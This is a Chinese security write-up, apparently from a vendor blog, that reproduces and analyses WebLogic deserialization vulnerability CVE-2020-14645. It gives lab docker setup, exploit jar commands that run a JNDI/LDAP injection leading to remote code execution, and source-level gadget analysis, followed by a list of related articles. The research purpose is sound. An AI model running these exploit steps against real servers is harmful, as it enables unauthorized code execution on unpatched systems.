聚焦源代码安全,网罗国内外最新资讯!

1.1 状态

完成漏洞挖掘条件分析、漏洞复现。

1.2 简介

WebLogic 是美国 Oracle 公司的 Java 应用服务器,确切说是一个中间件,被用于WEB应用、数据库应用等的集成开发部署。

WebLogic 的 T3 协议易被利用,从而采用 JNDI 注入、反序列化方法达到远程代码执行的目标。

存在安全缺陷的版本:WebLogic12.2.1.4.x,【JDK版本:6u211以下;7u201以下;8u191以下】。本文使用JDK1.8.0_181。

1.3 漏洞挖掘能力条件

认为应掌握JNDI注入方法,并清晰WebLogic的coherence源码的逻辑功能。

1.4 利用方法

1.4.1 环境

在 WIN10 的 WSL2 下用 docker 镜像 weblogic122140jdk8u181new:latest、ubuntu 创建三个容器,称为weblogic122140jdk8u181new、ubuntu-JNDI、ubuntu-gongji,作用分别为WebLogic 服务器、JNDI服务器、攻击机。

对于 weblogic122140jdk8u181new 容器【ip:172.17.0.2】的生成过程,需要进入【WeblogicEnvironment】文件夹,参照【https://github.com/QAX-A-Team/WeblogicEnvironment】方法即可生成,命令是:

docker build --build-arg JDK_PKG=jdk-8u181-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.2.1.4.0_wls_lite_generic.jar  -t weblogic122140jdk8u181new .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic122140jdk8u181new weblogic122140jdk8u181new

对于由 ubuntu 镜像生成的 ubuntu-JNDI 容器【ip:172.17.0.3】,将 jdk-8u181-linux-x64.tar.gz、JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar拷贝至容器内,参照【https://www.cnblogs.com/hellojesson/p/11684299.html】安装好jdk,执行命令:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE -A 172.17.0.3

对于由ubuntu镜像生成的ubuntu-gongji容器【ip:172.17.0.4】,将jdk-8u181-linux-x64.tar.gz、CVE-2020-14645.jar拷贝至容器内,参照【https://www.cnblogs.com/hellojesson/p/11684299.html】安装好jdk。

1.4.2 目标

在 WebLogic 服务器执行代码【touch /tmp/CVE】,从而在 tmp 文件夹下生成 CVE 文件。

1.4.3 复现

ubuntu-JNDI 容器会输出可利用的 LDAP 链接,本次输入结果如下:

则在攻击机 ubuntu-gongji 容器中输入转发类命令如下:

注意标红位置 LDAP 链接尾部是随机产生的,每次均不一样。

weblogic122140jdk8u181new 容器会出现经代码执行后生成的文件:

1.4.4 分析方法【省略部分代码分析】

程序运行时,会跳转至下图红框中的 coherence 库中执行部分功能。

com.tangosol.util.extractor.UniversalExtractor 类中:

protected transient String m_sNameCanon;

private transient TargetReflectionDescriptor m_cacheTarget;

private transient boolean m_fMethod;

com.tangosol.util.extractor.UniversalExtractor#extract 方法中的 com.tangosol.util.extractor.UniversalExtractor#extractComplex方法中:

Class clzTarget = oTarget.getClass();Class[] clzParam = ClassHelper.getClassArray(aoParam);String sCName = this.getCanonicalName();#【无参的函数或空值】boolean fProperty = this.isPropertyExtractor();Method method = null;if (fProperty) {#【方法对象的获取只有一个条件】String sBeanAttribute = Character.toUpperCase(sCName.charAt(0)) + sCName.substring(1);【首字母大写】for(int cchPrefix = 0; cchPrefix < BEAN_ACCESSOR_PREFIXES.length && method == null; ++cchPrefix) {method = ClassHelper.findMethod(clzTarget, BEAN_ACCESSOR_PREFIXES[cchPrefix] + sBeanAttribute, clzParam, false);【对由get/is+字符组成的新字符进行处理】【ClassHelper.findMethod查找与指定类、方法名称和参数匹配的重要方法】【指定函数必须由“get”或“is”开头,且无参】}} else {method = ClassHelper.findMethod(clzTarget, this.getMethodName(), clzParam, false);}

初步认为,进入 else 分支中,即可调用任意方法,前提是 fProperty 为false。

经研究,fProperty 由 !this.m_fMethod 决定,其赋值如下 init() 函数:

    protected void init() {String sCName = this.getCanonicalName();this.m_fMethod = sCName == null || sCName.endsWith("()");#【sCName为无参函数时符合要求】}

fProperty 方面,当 sCName 不是无参函数且非空时,fProperty 为 true。

继续分析 String sCName = this.getCanonicalName();,追溯到类com.oracle.common.internal.util.CanonicalNames 的方法com.oracle.common.internal.util.CanonicalNames#computeValueExtractorCanonicalName(java.lang.String, java.lang.Object[]):

public static String computeValueExtractorCanonicalName(String sName, Object[] aoParam) {#【此方法要求函数必须是无参的】int nMethodSuffixLength = "()".length();if (aoParam != null && aoParam.length > 0) {return null;#【参数非空则返回空】} else if (!sName.endsWith("()")) {return sName; #【函数名不以“()”结尾则返回函数名】} else {String sNameCanonical = sName;int nNameLength = sName.length();String[] var5 = VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES; #【“get”,“is”】int var6 = var5.length;for(int var7 = 0; var7 < var6; ++var7) {String sPrefix = var5[var7];int nPrefixLength = sPrefix.length();if (nNameLength > nPrefixLength && sName.startsWith(sPrefix)) {sNameCanonical = Character.toLowerCase(sName.charAt(nPrefixLength)) + sName.substring(nPrefixLength + 1, nNameLength - nMethodSuffixLength); #【函数名前几位是“get”/“is”,去除尾部“()”】break;}}return sNameCanonical;}}

综上,有三种方法。

  • 方法1:寻找以 “get”/“is” 开头的函数名。【机会较小】

  • 方法2:使 fProperty 为 false,则需寻找以“get”/“is”开头的无参函数。【机会很小】

  • 方法3:观察 extract 在 compare 函数中被调用了两次,会导致一些值发生变化,从而产生缺陷。【经验证无效】

对于方法1,可找到合规函数名,再找可序列化的对象(例如,控制dataSource,就能控制javax.sql.rowset.BaseRowSet#getDataSourceName,进行JNDI注入。

1.5 补丁分析

暂无。

1.6 docker复现

加载容器tar为镜像,例子:

cat ./ubuntu-xxx.tar | docker import - ubuntu-new

设置局域网及容器ip、启动容器,例子:

(1)自定义网络

docker network create --subnet=192.168.10.1/24 testnet

(2)启动 docker 容器

docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash

当容器【ubuntu-JNDI1106】的ip是172.17.0.3、容器【ubuntu-gongji1106】的ip是172.17.0.5、容器【weblogic122140jdk8u181new1106】的ip是172.17.0.4时,

启动 weblogic 服务。进入容器【weblogic122140jdk8u181new1106】,输入命令

sh /u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh

启动成功,如下图。

启动 JNDI 服务。进入容器【ubuntu-JNDI1106】,依次输入命令

source /etc/profile
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/CVE110667 -A 172.17.0.3

可知适用于 jdk1.8 的 JNDI 访问链接为【ldap://172.17.0.3:1389/usns1q】,如下图。

发起攻击。进入容器【ubuntu-gongji1106】,依次输入命令

source /etc/profile
java -jar CVE-2020-14645.jar 172.17.0.3:1389/usns1q http://172.17.0.4:7001

“172.17.0.3:1389/usns1q”部分为JNDI链接,攻击成功会返回weblogic版本,如下图。

攻击成功后,容器【ubuntu-JNDI1106】会显示传输信息,如下图。

攻击成功后,weblogic服务器会生成【CVE】文件,如下图。

1.7 参考资料

  • https://www.chainnews.com/articles/884170141841.htm

  • https://www.freebuf.com/vuls/251540.html

  • https://github.com/QAX-A-Team/WeblogicEnvironment

  • https://paper.seebug.org/1012/#weblogic

  • https://cloud.tencent.com/developer/article/1608010

  • https://badcode.cc/2018/05/20/WebLogic-%E5%8A%A8%E6%80%81%E8%B0%83%E8%AF%95%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/

  • https://paper.seebug.org/1280/#cve-2020-14645

  • https://www.anquanke.com/post/id/210724

推荐阅读

Apache Shiro权限绕过漏洞 (CVE-2020-11989) 挖掘分析和复现

从 CVE-2020-1048 到 CVE-2020-17001:Windows打印机模块中多个提权漏洞分析

CVE-2020-15999:Chrome FreeType 字体库堆溢出原理分析

题图:Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

 觉得不错,就点个 “在看” 或 "赞” 吧~

WebLogic UniversalExtractor反序列化漏洞(CVE-2020-14645)的复现和分析相关推荐

  1. Apache Shiro remember Me反序列化漏洞(Shiro 550)复现

    Apache Shiro remember Me反序列化漏洞(Shiro 550)复现 什么是Shiro Apache Shiro™是一个强大且易用的Java安全框架,能够用于身份验证.授权.加密和会 ...

  2. Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析

    0x00 前言 2020年1月15日, Oracle官方发布了CVE-2020-2551的漏洞通告,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低.影响范围为10.3.6.0.0, 12.1. ...

  3. CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞

    漏洞产生原因: CVE-2017-10271漏洞产生的原因大致是Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据 ...

  4. WebLogic RMI 反序列化漏洞

    文章目录 WebLogic RMI 反序列化 基础知识 影响版本 漏洞概述 漏洞危害 漏洞复现 目标机搭建漏洞环境 漏洞验证 端口探测 漏洞检测脚本 在kali上运行命令 下载反序列化漏洞利用工具 y ...

  5. shiro反序列化漏洞学习(工具+原理+复现)

    工具准备 1.java8 C:\Program Files\Java 2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6 3.shiro反序列化 图形化工具 ...

  6. fastjson 序列化 不包括转义字符_CVE-2020-14644 weblogic iiop反序列化漏洞分析

    报告编号:B6-2020-081101 报告来源:360CERT 报告作者:ph4nt0mer 更新日期:2020-08-11 0x01 weblogic 受影响版本 Oracle WebLogic ...

  7. CVE-2020-14644 weblogic iiop反序列化漏洞分析

    360CERT [三六零CERT](javascript:void(0)

  8. 一步一步回顾分析攻防演习中的 WebLogic T3 反序列化 0day 漏洞

     聚焦源代码安全,网罗国内外最新资讯! 本文内容共分六部分: 一.前言 二.Jdk7u21 的 PoC 分析 1.第一部分利用链分析 2.第二部分利用链分析 三.MarshalledObject分析 ...

  9. Apache Commons Collections反序列化漏洞分析与复现

     聚焦源代码安全,网罗国内外最新资讯! 1.1 状态 完成漏洞挖掘条件分析.漏洞复现. 1.2 漏洞分析 存在安全缺陷的版本:Apache Commons Collections3.2.1以下,[JD ...

最新文章

  1. ACL2022引入滚动审稿机制,Deadline不足一个月啦
  2. 抓取猫眼电影top100的正则、bs4、pyquery、xpath实现方法
  3. oracle如何获取异常,Oracle专题13之异常错误处理
  4. change from a ppt to the report
  5. Flex 幻灯片播放
  6. 解决firebug报“illegal character错误的问题
  7. PHP笔记-PHP中构造函数要注意的地方
  8. iframe框架页面实现自适应高度解决方案
  9. 【大学生】做‘心机’大学生,深度高效挖掘有效人脉
  10. 联想r720内存频率_联想小新Pro 14 2021怎么样 联想小新Pro 14 2021全面评测
  11. 去海南旅游什么时间段去最好,哪里最好玩?
  12. Windows环境与Linux环境条件宏
  13. 50个新的汉化Demo!纯前端 Wijmo 放大招
  14. WIFI sniffer log抓包教程
  15. linux触摸屏应用程序开发,linux触摸屏(一)编写触摸屏应用
  16. 在上海创业的日子之注册公司的详细流程
  17. spring源码解读:@Lazy延迟注入的逻辑
  18. c语言编译器tc2.0,深入认识 Turbo C 编译器 C语言 TC2.0.doc
  19. 如何使用windos远程桌面连接
  20. 数字图像处理实验(七)| 形态学图像处理{生成结构元素strel、腐蚀运算imerode、膨胀运算imdilate、开运算imopen、闭运算imclose}(附代码和实验截图、汉字视力表项目、总结)

热门文章

  1. VMware vSphere 5.1 群集深入解析(二十九)-故障排错
  2. 根据Return Code判断gui连接SAP服务器的问题
  3. 我的最新分词进展和接口设计~
  4. Failed to connect to GitHub to update the CocoaPods/Specs specs repo 问题
  5. Red Hat 6.5 Samba服务器的搭建(匿名访问,免登录)
  6. 查询SQLServer的启动时间
  7. Windows7多合一镜像制作
  8. 数字三角形_递归_递推(动态规划)
  9. NYNU_省赛选拔题(10)
  10. 谨防 ActiveSupport::Cache::Store 缓存 nil 值